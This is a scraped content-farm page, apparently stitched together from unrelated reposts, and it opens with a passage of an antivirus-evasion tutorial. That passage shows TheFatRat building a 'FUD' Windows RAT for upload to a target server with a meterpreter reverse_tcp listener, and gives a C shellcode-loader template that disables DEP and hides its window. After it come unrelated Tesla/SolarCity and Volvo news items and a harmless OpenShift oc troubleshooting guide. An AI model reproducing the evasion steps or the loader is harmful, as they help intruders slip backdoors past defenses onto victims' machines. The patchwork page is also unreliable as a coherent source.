  |:  |   |:  1   |:  1    |:      |:  |:  |   |
  |::.|   |::.. . |::.. . /|::.|:. |::.|::.|   |
   ---     ------- ------   --- --- --- --- ---   1.0
 
 Select one tool to create your Windows EXE FUD Rat 
 

 [ 1 ] - Powerstager 0.2.5 by z0noxz (powershell) (NEW)
 [ 2 ] - Slow But Powerfull (OLD)
 [ 3 ] - Return to menu

 ┌─[TheFatRat]──[~]─[FUDWIN]:
 └─────► 2

會出現填寫lhost和lport的提示框

之後會等很長一段時間,生成exe文件,上傳到目標服務器運行即可

監聽使用msf的windows/meterpreter/reverse_tcp)即可
該免殺工具也能過win10的自帶防火牆

手動修改代碼

免殺思路:通過cs和msf生成後門文件,對生成的後門進行代碼處理達到免殺

避免彈出黑窗

在編寫c代碼的時候可以加上該語句,則不會觸發黑窗

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

基本格式

編譯環境是VS 2019

在運行前將編譯器的棧緩衝區安全檢查(/Gs) 、數據執行保護(DEP)以及代碼優化關閉關閉

關閉位置:

代碼優化:C/C++ –> 優化

棧緩衝區安全檢查(/Gs):C/C++ –> 代碼生成 –> 安全檢查

數據執行保護(DEP):連接器 –> 高級 –> 數據執行保護

我們可以使用下面的模板生成shellcode,將msf或者cs的shellcode放入到buf數組變量中即可。

在運行前可以對buf中的字符進行處理達到免殺(之後會學習記錄下如何手寫shellcode)

#include <windows.h>
#include <iostream>
#include <time.h>
#pragma comment (lib, "winmm.lib")

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
void startShellCode()
{
	unsigned char buf[] = "";

	void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, buf, sizeof(buf));
	((void(*)())exec)();
}

void main() {
	startShellCode();
}

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

FB行銷專家,教你從零開始的技巧

Tesla樽節,2016年 SolarCity裁員人數達 20%

根據《路透社》的報導指出,美國電動車大廠特斯拉(TESLA) 在 2016  年底所收購的太陽能電池廠商 SolarCity,截至 2016 年底為止,總計已經裁減了 20% 的員工。顯示 TESLA 需要藉由 SolarCity 的樽節措施,來平衡該公司的支出。原因是當前美國太陽能市場,依舊處於需求不足的低迷狀態。

報導指出,根據 SolarCity 在 1 日對美國證券交易委員會提交的相關文件指出,該公司截至 2016 年底的員工總數為 12,243 人,比一年前減少了 19.8%。而在被 TESLA 收購前,營運就出現困難的 SolarCity 已經提出相關裁員計畫,預計裁減包括運營、安裝、製造、銷售和市場行銷等部門職位,只是當時並沒有提出確切人數。據了解,在進入 2017 年後,裁員仍將會持續。

SolarCity 過去是全美最大的屋頂太陽能系統製造和安裝公司。按照過去的計畫,SolarCity 曾希望在 2018 年獲得美國一百萬太陽能家庭用戶,但是後來縮減了目標,主要原因是市場需求不足。2017 年初,由於內華達州一項太陽能補助政策取消,使 SolarCity 裁減該州 550 個工作職位。整體來說,2016 年 SolarCity 在業務上的衰退和過去快速擴張的情況形成鮮明對比,因 2015 年同期統計,該公司的員工人數較前一年成長了 68.7%。

事實上,TESLA 執行長 Elon Musk 當時併購 SolarCity 就引來許多負面聲音。原因是 Elon Musk 與 SolarCity 關係非淺,SolarCity 的創辦人為 Elon Musk 的親戚。所以該項收購案遭質疑是「左口袋到右口袋」的資本金錢遊戲。

為了改善 SolarCity 的財務狀況,Elon Musk 收購完成之後,TESLA 開始對 SolarCity 的業務進行整合。2017 年 1 月,TESLA 表示將會縮減太陽能系統的廣告預算,並且利用特斯拉現有的實體店零售網路,銷售屋頂太陽能發電系統。另外,SolarCity 也將縮減租賃等模式,轉向現金銷售,以便獲得更多現金收入,達到降低成本的效果。

(合作媒體:。圖片出處:Tesla)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

FB行銷專家,教你從零開始的技巧

和Tesla抗衡,Volvo平價電動車預計2019上市

瑞典汽車大廠Volvo(富豪汽車)的CEO Lex Kerssemakers在日內瓦汽車展上向記者透漏公司將於2019上市自家電動車,價格約落在$35,000至$40,000美元間。

據媒體Automotive News報導,在這之前,Volvo雖有兩款油電混和車XC90 SUV和V60上市,但不曾真正推出過純電動車。Volvo定出的價格也和電動車龍頭Tesla旗下車款Model 3具競爭力。預定於2017年末上市的Tesla Model 3擁有215英哩的續航,優惠期間可以35,000的價格預購;Chevrolet(雪佛蘭汽車)的電動車Bolt則擁有238英哩的續航里程,優惠價格落在37,500美元。

雖然車體尺寸等具體資訊都還沒有公布,但Kerssemakers表示續航力可達250英哩。外界也推估以這個價位大概是一般轎車而緊湊型轎車(Compact Car)或休旅車。

(首圖來源:Volvo)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

FB行銷專家,教你從零開始的技巧

004.OpenShift命令及故障排查

一 CLI訪問OpenShift資源

1.1 資源操作


OCP將OpenShift集群中的為由主節點管理的對象統稱為資源,如:node、service、pod、project、deployment、user。

即使針對的是不同的資源,OpenShift命令行工具也提供了一種統一的、一致的方法來更新、修改、刪除和查詢這些資源。

oc命令行工具提供了在軟件開發項目的整個交付生命周期中修改和管理資源的常見操作。

1.2 安裝oc工具


在OpenShift安裝過程中,oc命令行工具安裝在所有master和node節點上,還可以在不屬於OpenShift集群的機器。

安裝后,可以使用用戶名和密碼對任何主節點通過身份驗證后執行相關命令。

根據使用的平台,安裝oc命令行工具有以下幾種方式:

yum安裝:在RHEL平台上,可通過以下命令安裝oc客戶端命令。

[user@host ~]$ sudo yum install atomic-openshift-clients

其它 Linux 發行版本和操作系統,需在擁有 OpenShift 訂閱后,在 Red Hat Customer Portal 中下載。

提示:oc安裝完成后自動補全需要退出一次才可生效,或者source /etc/bash_completion.d/oc。

1.3 oc主要查詢命令


[student@workstation ~]$ oc –help #显示幫助信息

[student@workstation ~]$ oc login -u developer -p redhat https://master.lab.example.com #登錄到OpenShift集群

提示:從client成功通過身份驗證之後,OpenShift將授權令牌保存在用戶的主文件夾中。此令牌用於後續請求,從而無需重新輸入憑據或完整的主URL。

  1 [root@master ~]# oc whoami
  2 system:admin					#master的root用戶為集群的最高權限的用戶
  3 [student@workstation ~]$ oc whoami		        #查看當前用戶
  4 developer
  5 [student@workstation ~]$ oc new-project working	#創建project
  6 [student@workstation ~]$ oc status		        #查看項目狀態
  7 In project working on server https://master.lab.example.com:443
  8 You have no services, deployment configs, or build configs.
  9 Run 'oc new-app' to create an application.
 10 [student@workstation ~]$ oc delete project working	#刪除project
 11 [student@workstation ~]$ oc logout		        #退出該集群。
 12 [student@workstation ~]$ oc get pods		#查看pod
 13 NAME                      READY     STATUS    RESTARTS   AGE
 14 hello-openshift-1-6ls8z   1/1       Running   0          4h
 15 [student@workstation ~]$ oc get all		        #查看所有主要組件信息
 16 [student@workstation ~]$ oc get pods -w		#-w表示以監視模式運行


1.4 oc 其他命令


oc describe:如果oc get提供的摘要不夠,可以使用oc describe命令檢索關於資源的更詳細信息。

[student@workstation ~]$ oc describe pod hello-openshift-1-6ls8z

oc export:使用oc export命令導出資源的定義。典型的用例包括創建備份,或者用於修改定義。默認情況下,export命令以YAML格式輸出對象表示,但是可以通過提供-o選項來更改。

oc create:使用oc create命令從資源定義創建資源。通常,這與用於編輯定義的oc export命令相匹配。

oc delete RESOURCE_TYPE name:使用oc delete命令從OpenShift集群中刪除資源。

注意:部分資源直接刪除後會重新創建,如基於rc的pod,需要對OpenShift體系資源展示形式有一個基本的了解。

oc exec:使用oc exec命令在容器中執行命令,可以使用此命令作為腳本的一部分運行交互式和非交互式批處理命令。

oc rsh POD:oc rsh pod命令打開到容器的遠程shell會話,要遠程登錄到容器shell並執行命令,請運行以下命令。

[student@workstation ~]$ oc rsh <pod>

注意:oc rsh需要pod中存在相應的shell,如bash。

二 OpenShift資源類型

2.1 常見資源


OpenShift容器平台中的應用程序由不同類型的資源組成,主要常見的類型有:

  • Container:如何在可移植Linux環境中運行一個或多個進程的定義。容器從一個映像啟動,並且通常與同一機器上的其他容器隔離。
  • Image:一個分層的Linux文件系統,包含應用程序代碼、依賴關係和函數庫等。image由一個名稱標識,該名稱可以是當前集群的本地名稱,也可以指向遠程Docker倉庫。
  • Pod:部署在節點上並共享唯一IP地址和卷(持久存儲)的一個或多個容器,Pods還為每個容器定義安全性和運行時策略。
  • Label:標籤是鍵值對,可以分配給系統中的任何資源進行分組和選擇。通常資源使用標籤來標識其他資源集。
  • Volume:默認情況下容器不是持久性的,即容器的內容在重新啟動時被清除。volume是掛載在pod及其容器上的文件系統,它們可能由許多本地或網絡的存儲提供。最簡單的卷類型是EmptyDir,它是一台機器上的臨時目錄。
  • Node:node是集群中用來運行容器的節點,node通常由管理員管理,而不是由最終用戶管理。
  • Service:service是表示一組pod的邏輯名稱,service被分配一個IP地址和一個DNS名稱,可以通過端口或route向集群外部公開。名為SERVICE_HOST的環境變量會自動注入到其他pod中。
  • Route:route是一個DNS條目,創建它是為了指向一個service,以便可以從集群外部訪問它。可以配置一個或多個路由器來處理這些route,通常通過HAProxy負載均衡器。
  • Replication Controller:Replication Controller基於匹配一組label的Templates維護特定數量的pod。如果刪除了pod,控制器將創建該pod的新副本。Replication Controller最常用來表示基於image的應用程序部分的單個部署。
  • Deployment Configuration:deployment configuration定義pod的模板,並在屬性更改時管理部署新映像或配置更改。單個deployment configuration通常類似於單個微服務。deployment configuration可以支持許多不同的部署模式,包括完全重啟、可定製的滾動更新以及生命周期前後的順序。每個deployment都表示為一個replication controller。
  • Build Configuration:build configuration包含如何將源代碼和基本image構建為新image的描述。Build可以是基於源代碼的,可以為常見語言(如Java、PHP、Ruby或Python)或基於docker的(從Dockerfile創建構建)使用構建器映像。每個build configuration都有webhook,可以通過對其基本映像的更改自動觸發。
  • Build:構建從源代碼、其他圖像、Dockerfiles或二進制輸入創建新image。Build在容器中運行,具有與普通pod相同的限制。Build通常會導致將image推入Docker倉庫中,但也可以選擇運行post-build測試而不push到image倉庫。
  • Image Streams and Image Stream Tags:IS使用標記名稱對相關is進行分組。它類似於源代碼倉庫中的分支。每個is可以有一個或多個標記(默認標記稱為“latest”),這些標記可能指向外部Docker倉庫、同一is中的其他標記,或者被控製為直接指向已知image。此外,可以通過集成的Docker倉庫直接將image push到docker倉庫。
  • Secret:secret資源可以保存文本或二進制secrets,以便注入至pod。默認情況下,在/var/run/secrets/kubernetes.io/serviceaccount上,每個容器都有一個secret,其中包含訪問API有限特權的令牌。可以創建新的secret並將它們掛載到自己的pod中,也可以引用構建中的secret(用於連接遠程服務器),或者使用它們將遠程image導入到is中。
  • Project:所有上述資源(node除外)都存在於項目中。項目具有成員列表及其role(如view、edit或admin),以及運行的pod上的一組安全控制,並限制項目可以使用多少資源,資源名稱在項目中是惟一的。


使用oc types命令快速查看可用的概念和類型。

2.2 創建應用


簡單的應用程序、複雜的多層應用程序和微服務應用程序都可以使用資源定義文件來描述。

這個文件包含許多pod定義、連接這些pod的服務定義、用於水平伸縮應用程序pod的rc或dc、用於持久存儲應用程序數據的持久卷,以及OpenShift可以管理的任何其他需要的內容。

oc new-app命令可以使用-o json或-o yaml選項分別創建以json或yaml格式的定義文件的資源。可以使用oc create -f <filename>命令調用定義文件,並將其用於創建應用程序,或者與其他資源定義文件合併以創建複合應用程序。

oc new-app命令可以以許多不同的方式創建在OpenShift上運行的pod應用程序。它可以使用source-to-image (S2I)流程從現有docker映像、Dockerfiles或原始源代碼創建pod。

運行oc new-app -h命令,了解在OpenShift上創建新應用程序的所有不同選項。最常見的選項如下:

運行以下命令創建應用程序。OpenShift根據Docker配置文件的ADD_REGISTRY選項定義的倉庫 pull image。

$ oc new-app mysql MYSQL_USER=user MYSQL_PASSWORD=pass MYSQL_DATABASE=testdb -l

db=mysql

根據私有倉庫中的image創建應用程序。

$ oc new-app –docker-image=myregistry.com/mycompany/myapp –name=myapp

根據存儲在Git庫中的源代碼創建應用程序。

$ oc new-app https://github.com/openshift/ruby-hello-world –name=ruby-hello

創建基於存儲在Git庫中的源代碼並引用IS的應用程序。

$ oc new-app https://mygitrepo/php-hello -i php:7.0 –name=php-hello

從Docker配置文件的ADD_REGISTRY指令定義的可用倉庫之一創建一個基於mysql映像的應用程序。l db=mysql選項定義了一個值為mysql的db標籤。

$ oc new-app mysql MYSQL_USER=user \

MYSQL_PASSWORD=pass \

MYSQL_DATABASE=testdb \

-l db=mysql

下圖显示了oc new-app命令在參數為容器image時創建的Kubernetes和OpenShift資源。該命令創建dc、is和svc,可以通過端口或route從外部訪問。



提示:通過使用帶有源代碼的oc new-app,將創建一個build configuration,而bc又從源代碼創建一個新的應用程序。但是,如果命令中沒有使用源代碼,則不會創建gc。該命令始終為應用程序創建dc和svc。

三 oc使用練習

3.1 前置準備


準備完整的OpenShift集群,參考《003.OpenShift網絡》2.1。

3.2 本練習準備


[student@workstation ~]$ lab manage-oc setup

3.3 驗證OpenShift

  1 [student@workstation ~]$ oc login -u admin -p redhat https://master.lab.example.com
  2 [student@workstation ~]$ oc project default
  3 Already on project "default" on server "https://master.lab.example.com:443".
  4 [student@workstation ~]$ oc project default
  5 Already on project "default" on server "https://master.lab.example.com:443".
  6 [student@workstation ~]$ oc get nodes
  7 NAME                     STATUS    ROLES     AGE       VERSION
  8 master.lab.example.com   Ready     master    23h       v1.9.1+a0ce1bc657
  9 node1.lab.example.com    Ready     compute   23h       v1.9.1+a0ce1bc657
 10 node2.lab.example.com    Ready     compute   23h       v1.9.1+a0ce1bc657
 11 [student@workstation ~]$ oc describe node master.lab.example.com		#查看master節點詳情
 12 [student@workstation ~]$ oc describe node node1.lab.example.com
 13 [student@workstation ~]$ oc describe node node2.lab.example.com
 14 [student@workstation ~]$ oc get pods -o wide
 15 NAME                       READY     STATUS    RESTARTS   AGE       IP              NODE
 16 docker-registry-1-8v7sh    1/1       Running   4          23h       10.129.0.30     node2.lab.example.com
 17 docker-registry-1-rrmhm    1/1       Running   2          23h       10.128.0.12     node1.lab.example.com
 18 registry-console-1-xzxxp   1/1       Running   4          23h       10.129.0.31     node2.lab.example.com
 19 router-1-fwttd             1/1       Running   4          23h       172.25.250.12   node2.lab.example.com
 20 router-1-xdw84             1/1       Running   2          23h       172.25.250.11   node1.lab.example.com
 21 [student@workstation ~]$ oc  describe pod docker-registry-1-8v7sh		#查看pod詳情


3.4 pod操作


[student@workstation ~]$ oc exec docker-registry-1-8v7sh hostname #執行pod中命令

docker-registry-1-8v7sh

[student@workstation ~]$ oc exec router-1-fwttd ls /

[student@workstation ~]$ oc exec docker-registry-1-8v7sh cat /etc/resolv.conf

提示:只要pod中存在的命令,都可以通過oc exec直接執行。

[student@workstation ~]$ oc rsh docker-registry-1-8v7sh #進入pod的shell

sh-4.2$ ls /

3.5 oc其他操作


[student@workstation ~]$ oc status -v #現實詳細的狀態



[student@workstation ~]$ oc get events #查看集群生命周期事件

[student@workstation ~]$ oc get all #獲取所有資源信息

3.6 導出資源


[student@workstation ~]$ oc export pod docker-registry-1-8v7sh

提示:oc export命令通常用於導出現有資源,並將它們轉換為配置文件(YAML或JSON),以便備份或在集群的其他地方重新創建資源。

[student@workstation ~]$ oc export svc,dc docker-registry –as-template=docker-registry

#通過將–as-template選項傳遞給oc export命令,將多個資源作為OpenShift模板同時導出。

[student@workstation ~]$ oc export svc,dc docker-registry > docker-registry.yaml #也可以使用重定嚮導出

[student@workstation ~]$ oc export –help #查看幫助

四 oc常見故障排除

4.1 常見環境信息


使用RPM安裝的OCP,那麼master和node的ocp相關服務將作為Red Hat Enterprise Linux服務運行。從master和node使用標準的sosreport實用程序,收集關於環境的信息,以及docker和openshift相關的信息。

[root@master ~]# sosreport -k docker.all=on -k docker.logs=on

sosreport命令創建一個包含所有相關信息的壓縮歸檔文件,並將其保存在/var/tmp目錄中。

另一個有用的診斷工具是oc adm diagnostics命令,能夠在OpenShift集群上運行多個診斷檢查,包括network、日誌、內部倉庫、master節點和node節點的服務檢查等等。oc adm diagnostics –help命令,獲取幫助。

4.2 常見診斷命令


oc客戶端命令是用來檢測和排除OpenShift集群中的問題的主要工具。它有許多選項,能夠檢測、診斷和修復由集群管理的主機和節點、服務和資源的問題。若已授權所需的權限,可以直接編輯集群中大多數託管資源的配置。

  • oc get events


事件允許OpenShift記錄集群中生命周期事件的信息,以統一的方式查看關於OpenShift組件的信息。oc get events命令提供OpenShift namespace的事件信息,可實現以下事件的捕獲:

    • Pod創建和刪除
    • pod調度的節點
    • master和node節點的狀態


事件通常用於故障排除,從而獲得關於集群中的故障和問題的高級信息,然後使用日誌文件和其他oc子命令進一步定位。

示例:使用以下命令獲得特定項目中的事件列表。

[student@workstation ~]$ oc get events -n <project>

也可以通過Web控制台進行事件的查看events。

  • oc log


oc logs命令查看build、deployment或pod的日誌輸出,。

示例1:使用oc命令查看pod的日誌。

[student@workstation ~]$ oc logs pod

示例2:使用oc命令查看build的日誌。

[student@workstation ~]$ oc logs bc/build-name

使用oc logs命令和-f選項實時跟蹤日誌輸出。例如,這對於連續監視build的進度和檢查錯誤非常有用。

也可以通過Web控制台進行事件的查看log。

  • oc rsync


oc rsync命令將內容複製到正在運行的pod中的目錄或從目錄複製內容。如果一個pod有多個容器,可以使用-c選項指定容器ID。否則,它默認為pod中的第一個容器。通常用於從容器傳輸日誌文件和配置文件。

示例1:將pod目錄中的內容複製到本地目錄。

[student@workstation ~]$ oc rsync <pod>:<pod_dir> <local_dir> -c <container>

示例2:將內容從本地目錄複製到pod的目錄中。

[student@workstation ~]$ oc rsync <local_dir> <pod>:<pod_dir> -c <container>

  • oc port-forward


使用oc port-forward命令將一個或多個本地端口轉發到pod。這允許在本地監聽特定或隨機端口,並將數據轉發到pod中的特定端口。

示例1:本地監聽3306並轉發到pod的3306.

[student@workstation ~]$ oc port-forward <pod> 3306:3306

五 TS常見故障

5.1 資源限制和配額問題


對於設置了資源限制和配額的項目,不適當的資源配置將導致部署失敗。使用oc get events和oc describe命令來排查失敗的原因。

例如試圖創建超過項目中pod數量配額限制的pod數量,那麼在運行oc get events命令時會提示:

Warning FailedCreate {hello-1-deploy} Error creating: pods “hello-1” is forbidden:

exceeded quota: project-quota, requested: cpu=250m, used: cpu=750m, limited: cpu=900m

5.2 S2I build失敗


使用oc logs命令查看S2I構建失敗。例如,要查看名為hello的構建配置的日誌:

[student@workstation ~]$ oc logs bc/hello

例如可以通過在build configuration策略中指定BUILD_LOGLEVEL環境變量來調整build日誌的詳細程度。

  1 {
  2 "sourceStrategy": {
  3 ...
  4 "env": [
  5 {
  6 "name": "BUILD_LOGLEVEL",
  7 "value": "5"
  8 }
  9 ]
 10 }
 11 }


5.3 ErrImagePull和imgpullback錯誤


通常是由不正確的deployment configuration造成、部署期間引用的錯誤或缺少image或Docker配置不當造成。

使用oc get events和oc describe命令排查,通過使用oc edit dc/<deploymentconfig>編輯deployment configuration來修復錯誤。

5.4 docker配置異常


master和node上不正確的docker配置可能會在部署期間導致許多錯誤。

通常檢查ADD_REGISTRY、INSECURE_REGISTRY和BLOCK_REGISTRY設置。使用systemctl status, oc logs, oc get events和oc describe命令對問題進行排查。

可以通添加/etc/sysconfig/docker配置文件中的–log-level參數來更改docker服務日誌級別。

示例:將日誌級別設置為debug。

OPTIONS=’–insecure-registry=172.30.0.0/16 –selinux-enabled –log-level=debug’

5.5 master和node節點失敗


運行systemctl status命令,對atomicopenshift-master、atom-openshift-node、etcd和docker服務中的問題進行排查。使用journalctl -u <unit-name>命令查看與前面列出的服務相關的系統日誌。

可以通過在各自的配置文件中編輯–loglevel變量,然後重新啟動關聯的服務,來增加來自atom-openshift-node、atomicopenshift-master-controllers和atom-openshift-master-api服務的詳細日誌記錄。

示例:設置OpenShift主控制器log level為debug級別,修改/etc/sysconfig/atomic-openshift-master-controllers文件。

OPTIONS=–loglevel=4 –listen=https://0.0.0.0:8444

延伸:

Red Hat OpenShift容器平台有五個級別的日誌詳細程度,無論日誌配置如何,日誌中都會出現帶有致命、錯誤、警告和某些信息嚴重程度的消息。

  • 0:只有錯誤和警告
  • 2:正常信息(默認)
  • 4:debug級信息
  • 6:api級debug信息(請求/響應)
  • 8:帶有完整請求體的API debug信息

5.6 調度pod失敗


OpenShift master調度pod在node上運行,通常由於node本身沒有處於就緒狀態,也由於資源限制和配額,pod無法運行。

使用oc get nodes命令驗證節點的狀態。在調度失敗期間,pod將處於掛起狀態,可以使用oc get pods -o wide命令進行檢查,該命令還显示了計劃在哪個節點上運行pod。使用oc get events和oc describe pod命令檢查調度失敗的詳細信息。

示例1:如下所示pod調度失敗,原因是CPU不足。

{default-scheduler } Warning FailedScheduling pod (FIXEDhello-phb4j) failed to

fit in any node

fit failure on node (hello-wx0s): Insufficient cpu

fit failure on node (hello-tgfm): Insufficient cpu

fit failure on node (hello-qwds): Insufficient cpu

示例2:如下所示pod調度失敗,原因是節點沒有處於就緒狀態,可通過oc describe排查。

{default-scheduler } Warning FailedScheduling pod (hello-phb4j): no nodes

available to schedule pods

六 常見問題排查

6.1 前置準備


準備完整的OpenShift集群,參考《003.OpenShift網絡》2.1。

6.2 本練習準備


[student@workstation ~]$ lab common-troubleshoot setup

6.3 創建應用


[student@workstation ~]$ oc new-project common-troubleshoot

[student@workstation ~]$ oc new-app –name=hello -i php:5.4 \ #從源代碼創建應用

> http://services.lab.example.com/php-helloworld


6.4 查看詳情


[student@workstation ~]$ oc describe is php -n openshift





結論:由上可知,倉庫中不存在所需鏡像。

6.5 修正錯誤


[student@workstation ~]$ oc new-app –name=hello -i php:7.0 http://services.lab.example.com/php-helloworld

[student@workstation ~]$ oc get pod -o wide #再次查看發現一隻出於pending

NAME READY STATUS RESTARTS AGE IP NODE

hello-1-build 0/1 Pending 0 40s <none> <none>

6.6 查看詳情

  1 [student@workstation ~]$ oc log hello-1-build		#查看log
  2 W0720 20:22:16.455008   18942 cmd.go:358] log is DEPRECATED and will be removed in a future version. Use logs instead.
  3 [student@workstation ~]$ oc get events			#查看事件
  4 LAST SEEN   FIRST SEEN   COUNT     NAME                             KIND      SUBOBJECT   TYPE      REASON             SOURCE              MESSAGE
  5 56s         4m           15        hello-1-build.15b31cbd8da8ff1e   Pod                   Warning   FailedScheduling   default-scheduler   0/3 nodes are available: 1 MatchNodeSelector, 2 NodeNotReady.
  6 [student@workstation ~]$ oc describe pod hello-1-build	#查看詳情
  7 ……
  8 Warning  FailedScheduling  31s (x22 over 5m)  default-scheduler  0/3 nodes are available: 1 MatchNodeSelector, 2 NodeNotReady.
  9 結論:由上可知,沒有node可供調度此pod。
 10 [root@master ~]# oc get nodes				#在master節點進一步排查node情況
 11 NAME                     STATUS     ROLES     AGE       VERSION
 12 master.lab.example.com   Ready      master    1d        v1.9.1+a0ce1bc657
 13 node1.lab.example.com    NotReady   compute   1d        v1.9.1+a0ce1bc657
 14 node2.lab.example.com    NotReady   compute   1d        v1.9.1+a0ce1bc657
 15 結論:由上可知,node狀態異常,都未出於ready狀態。


6.7 檢查服務


[root@node1 ~]# systemctl status atomic-openshift-node.service

[root@node2 ~]# systemctl status atomic-openshift-node.service

[root@node1 ~]# systemctl status docker

[root@node2 ~]# systemctl status docker




結論:由上可知,node節點的docker異常。

6.8 啟動服務


[root@node1 ~]# systemctl start docker

[root@node2 ~]# systemctl start docker

6.9 確認驗證


[root@master ~]# oc get nodes #再次查看node狀態

NAME STATUS ROLES AGE VERSION

master.lab.example.com Ready master 1d v1.9.1+a0ce1bc657

node1.lab.example.com Ready compute 1d v1.9.1+a0ce1bc657

node2.lab.example.com Ready compute 1d v1.9.1+a0ce1bc657

[student@workstation ~]$ oc get pods #確認pod是否正常調度至node

NAME READY STATUS RESTARTS AGE

hello-1-build 1/1 Running 0 22m

[student@workstation ~]$ oc describe is #查看is詳情




結論:由上可知,IS也將image推送至內部倉庫。

七 oc命令綜合實驗

7.1 前置準備


準備完整的OpenShift集群,參考《003.OpenShift網絡》2.1。

7.2 本練習準備


[student@workstation ~]$ lab execute-review setup

7.3 git項目至本地


[student@workstation ~]$ cd /home/student/DO280/labs/execute-review/

[student@workstation execute-review]$ git clone http://services.lab.example.com/node-hello

7.4 docker構建image


[student@workstation execute-review]$ cd node-hello/

[student@workstation node-hello]$ docker build -t node-hello:latest .

[student@workstation node-hello]$ docker images #查看image

REPOSITORY TAG IMAGE ID CREATED SIZE

node-hello latest ff48daa00d8e 12 seconds ago 495 MB

registry.lab.example.com/rhscl/nodejs-6-rhel7 latest fba56b5381b7 22 months ago 489 MB

7.5 修改docker tag


[student@workstation node-hello]$ docker tag ff48daa00d8e \

> registry.lab.example.com/node-hello:latest

[student@workstation node-hello]$ docker images

REPOSITORY TAG IMAGE ID CREATED SIZE

node-hello latest ff48daa00d8e About a minute ago 495 MB

registry.lab.example.com/node-hello latest ff48daa00d8e About a minute ago 495 MB

registry.lab.example.com/rhscl/nodejs-6-rhel7 latest fba56b5381b7 22 months ago 489 MB

7.6 push image

[student@workstation node-hello]$ docker push registry.lab.example.com/node-hello:latest

7.7 創建project


[student@workstation ~]$ oc login -u developer -p redhat \

> https://master.lab.example.com

[student@workstation ~]$ oc projects

[student@workstation ~]$ oc project execute-review

[student@workstation ~]$ oc new-app registry.lab.example.com/node-hello –name hello

[student@workstation ~]$ oc get all #查看全部資源


7.8 排查ImagePullBackOff


[student@workstation ~]$ oc logs hello-1-2jkkj #查看日誌

Error from server (BadRequest): container “hello” in pod “hello-1-2jkkj” is waiting to start: trying and failing to pull image

[student@workstation ~]$ oc describe pod hello-1-2jkkj #查看詳情

[student@workstation ~]$ oc get events –sort-by=’.metadata.creationTimestamp’ #查看事件

結論:由上可知,為image pull失敗。

7.9 手動pull鏡像


[student@workstation ~]$ oc get pod -o wide

NAME READY STATUS RESTARTS AGE IP NODE

hello-1-2jkkj 0/1 ImagePullBackOff 0 8m 10.128.0.45 node1.lab.example.com

hello-1-deploy 1/1 Running 0 8m 10.129.0.72 node2.lab.example.com

[root@node1 ~]# docker pull registry.lab.example.com/node-hello #手動拉去也失敗

Using default tag: latest

Trying to pull repository registry.lab.example.com/node-hello …

All endpoints blocked.

結論:由上可知,所有endpoint都被阻塞了。這種類型的錯誤通常發生在OpenShift中,原因是不正確的部署配置或無效docker配置。

7.10 修正docker配置


[root@node1 ~]# vi /etc/sysconfig/docker

將BLOCK_REGISTRY=’–block-registry registry.access.redhat.com –block-registry docker.io –block-registry registry.

lab.example.com’

修改為

BLOCK_REGISTRY=’–block-registry registry.access.redhat.com –block-registry docker.io’

[root@node1 ~]# systemctl restart docker

提示:node2也需要如上操作。

7.11 更新pod


[student@workstation ~]$ oc rollout latest hello

[student@workstation ~]$ oc get pods #確認

NAME READY STATUS RESTARTS AGE

hello-1-deploy 0/1 Error 0 22m

hello-2-75x9t 1/1 Running 0 47s

7.12 確認驗證


[student@workstation ~]$ oc logs hello-2-75x9t #查看log

nodejs server running on http://0.0.0.0:3000

7.13 暴露服務


[student@workstation ~]$ oc expose svc hello –hostname=hello.apps.lab.example.com

route “hello” exposed

7.14 測試服務


[student@workstation ~]$ curl http://hello.apps.lab.example.com

Hi! I am running on host -> hello-2-75x9t

[student@workstation ~]$ lab execute-review grade #腳本驗證試驗

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※別再煩惱如何寫文案,掌握八大原則!

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

※教你寫出一流的銷售文案?

網頁設計最專業,超強功能平台可客製化